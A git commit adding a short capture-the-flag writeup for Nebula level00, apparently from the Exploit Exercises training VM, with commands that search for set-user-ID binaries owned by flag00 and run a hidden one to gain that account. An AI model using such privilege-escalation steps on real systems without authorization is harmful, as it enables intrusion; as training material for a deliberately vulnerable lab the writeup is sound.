Commit d81b852

bryfry <bryon@fryer.io>
2016-09-28 09:37:45
add level00 writeup
1 parent abe38fb
Changed files (2)
exploit_exercises
nebula
exercise-0
exploit_exercises/nebula/exercise-0/readme.md
@@ -1,11 +1,21 @@
+# Nebula - level00
 
-----------------------------------------------
+## About
 
-About
-Source code
 This level requires you to find a Set User ID program that will run as the
 “flag00” account. You could also find this by carefully looking in top level
 directories in / for suspicious looking directories.
+
 Alternatively, look at the find man page.
+
 To access this level, log in as level00 with the password of level00.
-There is no source code available for this level
+
+## Solution
+
+Avoid reading the solution until you have succeeded or are stuck.
+
+* `level00@nebula:~$` `find / -perm /u=s -user flag00 2>/dev/null`
+* `level00@nebula:~$` `sh-4.2$` `ls -als /bin/.../flag00/`
+* `level00@nebula:~$` `sh-4.2$` `/bin/.../flag00`
+* `flag00@nebula:~$` `getflag`
+
.gitignore
@@ -0,0 +1,2 @@
+*.swp
+